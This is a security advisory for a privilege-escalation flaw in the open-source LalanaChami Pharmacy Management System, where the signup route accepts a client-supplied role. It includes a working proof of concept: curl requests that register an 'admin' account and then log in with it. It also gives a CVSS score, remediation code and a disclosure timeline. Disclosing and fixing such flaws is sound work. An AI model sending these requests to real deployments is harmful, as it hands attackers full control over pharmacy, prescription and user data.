LalanaChami's Pharmacy Management System signup endpoint (backend/routes/user.js) accepts a user-controlled role parameter and directly assigns it to new user accounts without server-side validation. The role field is passed from req.body.role directly into the User model constructor with no whitelist or enum validation. Any unauthenticated attacker can inject "role": "admin" during registration to gain full administrative privileges.
- Type: CWE-269 (Improper Privilege Management)
- Affected Version: Commit
5c3d028c520628ece50f034900e0a98c07943d70(latestmaster);package.jsonversion0.0.0; Angular CLI8.3.6(no versioned GitHub releases or tags) - Affected Component:
backend/routes/user.js- signup endpoint - Attack Vector: Network (Remote)
- Authentication Required: None
- Product: LalanaChami Pharmacy Management System
- Vendor: LalanaChami
- Repository: https://github.com/LalanaChami/Pharmacy-Mangment-System
- Stars: 611
- Forks: 266
- Technology: Node.js, Express, MongoDB, Angular
The /api/user/signup endpoint accepts a user-controlled role parameter and directly assigns it to the new user account without any server-side validation. This allows any unauthenticated user to self-assign administrative privileges during registration.
backend/routes/user.js (Lines 8-27):
router.post("/signup", (req,res,next)=>{
bcrypt.hash(req.body.password, 10)
.then(hash => {
const user = new User({
name : req.body.name,
contact : req.body.contact,
nic : req.body.nic,
email : req.body.email,
password : hash,
role: req.body.role // <-- USER-CONTROLLED ROLE ASSIGNMENT!
});
user.save()
.then(result =>{
res.status(201).json({
message : 'User created!',
result: result
});
})
})
})const userSchema = mongoose.Schema({
name: {type: String , require:true},
contact: {type: String , require:true},
nic: {type: String , require:true},
email: {type: String , require:true, unique:true},
password: {type: String , require:true},
role: {type: String , require:true}, // No enum validation!
dateTime: {type: Date, default: Date.now , require:true}
});- Attacker discovers the signup endpoint at
/api/user/signup - Attacker sends POST request with
role: "admin"in the request body - Server creates new user with admin privileges
- Attacker logs in via
/api/user/loginwith new credentials - Attacker now has full administrative access to the pharmacy system
Based on frontend code analysis, the application uses these roles:
admin- Full system accesspharmacist- Pharmacy operationsassistant-pharmacist- Limited pharmacy accesscashier- Point of sale access
The PoC exploits missing role validation to create an admin account and verify full administrative access.
- Clone and start the vulnerable application:
git clone https://github.com/LalanaChami/Pharmacy-Mangment-System
cd Pharmacy-Mangment-System/lab/
docker-compose up -d-
Wait for services to be ready (~10 seconds). Backend API will be at:
http://localhost:3000/api -
Run the PoC:
python3 poc.py localhost:3000- Observe:
- Admin account created via role injection
- Successful login with admin privileges
- JWT token issued with
"role": "admin"
Create admin account:
curl -X POST "http://TARGET:3000/api/user/signup" \
-H "Content-Type: application/json" \
-d '{
"name": "Attacker",
"email": "attacker@evil.com",
"password": "pwned123",
"contact": "1234567890",
"nic": "123456789V",
"role": "admin"
}'Login with admin account:
curl -X POST "http://TARGET:3000/api/user/login" \
-H "Content-Type: application/json" \
-d '{
"email": "attacker@evil.com",
"password": "pwned123"
}'Response confirms admin role:
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"expiresIn": 3600,
"role": "admin",
"message": "Logged in Successfully"
}- Privilege Escalation: Any user can self-assign admin role
- Complete System Compromise: Admin access grants full control over users, inventory, sales, prescriptions, and suppliers
- No Prerequisites: No existing account or authentication required
- Access Control Bypass: Complete circumvention of role-based access control
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L = 9.4 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality: High
- Integrity: High
- Availability: Low
router.post("/signup", (req, res, next) => {
bcrypt.hash(req.body.password, 10)
.then(hash => {
const user = new User({
name: req.body.name,
contact: req.body.contact,
nic: req.body.nic,
email: req.body.email,
password: hash,
role: "cashier" // Default role - admin assigns higher roles
});
// ...
});
});const ALLOWED_SELF_REGISTRATION_ROLES = ['cashier']; // Only allow basic role
router.post("/signup", (req, res, next) => {
const requestedRole = req.body.role;
if (!ALLOWED_SELF_REGISTRATION_ROLES.includes(requestedRole)) {
return res.status(403).json({
message: 'Invalid role for self-registration'
});
}
// ... proceed with registration
});const checkAuth = require("../middleware/check-auth");
const checkAdmin = require("../middleware/check-admin");
// Public signup only creates basic users
router.post("/signup", (req, res, next) => {
// ... create with role: "cashier" only
});
// Admin endpoint for creating privileged users
router.post("/admin/create-user", checkAuth, checkAdmin, (req, res, next) => {
// Admin can specify any role
});const userSchema = mongoose.Schema({
// ...
role: {
type: String,
required: true,
enum: ['admin', 'pharmacist', 'assistant-pharmacist', 'cashier'],
default: 'cashier'
}
});| File | Issue | Exploitable |
|---|---|---|
backend/routes/user.js |
Unvalidated req.body.role in signup endpoint |
Yes - primary vector |
backend/models/user.js |
No enum validation on role field | Yes - enables injection |
- Discovery Date: January 2026
- Vendor Contact: January 2026
- Vendor Response: No response
- Public Disclosure: 9 April 2026 (commit
5c3d028c520628ece50f034900e0a98c07943d70,package.json0.0.0, Angular CLI8.3.6)